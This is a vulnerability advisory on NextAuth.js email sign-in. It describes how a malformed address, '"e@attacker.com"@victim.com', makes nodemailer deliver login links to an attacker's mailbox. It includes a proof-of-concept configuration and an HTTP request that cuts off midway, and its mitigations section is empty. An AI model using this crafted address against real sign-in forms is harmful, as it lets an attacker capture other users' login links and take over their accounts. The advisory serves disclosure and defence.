NextAuthjs Email misdelivery Vulnerability
Date: 2025-10
Affected: npm/next-auth, npm/next-auth
Attack vector: info-disclosure
Category: vulnerability-disclosure
Severity: Medium
CWE: CWE-200

### Summary NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in `nodemailer`'s address parser used by the project (fixed in `nodemailer` **v7.0.7**). A crafted input such as: ``` "e@attacker.com"@victim.com ``` is parsed incorrectly and results in the message being delivered to `e@attacker.com` (attacker) instead of `"<e@attacker.com>@victim.com"` (the intended recipient at `victim.com`) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim. <h2>Affected NextAuthjs Version</h2> ≤ Version | Afftected -- | -- 4.24.11 | Yes 5.0.0-beta.29 | Yes ## POC Example Setup showing misdelivery of email ```jsx import NextAuth from "next-auth" import Nodemailer from "next-auth/providers/nodemailer" import { PrismaAdapter } from "@auth/prisma-adapter" import { prisma } from "@/lib/prisma" export const { handlers, auth, signIn, signOut } = NextAuth({ adapter: PrismaAdapter(prisma), providers: [ Nodemailer({ server: { host: "127.0.0.1", port: 1025, ... }, from: "noreply@authjs.dev", }), ], pages: { signIn: '/auth/signin', verifyRequest: '/auth/verify-request', }, }) ``` ```jsx POST /api/auth/signin/nodemailer HTTP/1.1 Accept-Encoding: gzip, deflate, br, zstd Cache-Control: no-cache Connection: keep-alive Content-Length: 176 DNT: 1 Host: localhost:


Mitigations:

Architectural layers (MAESTRO):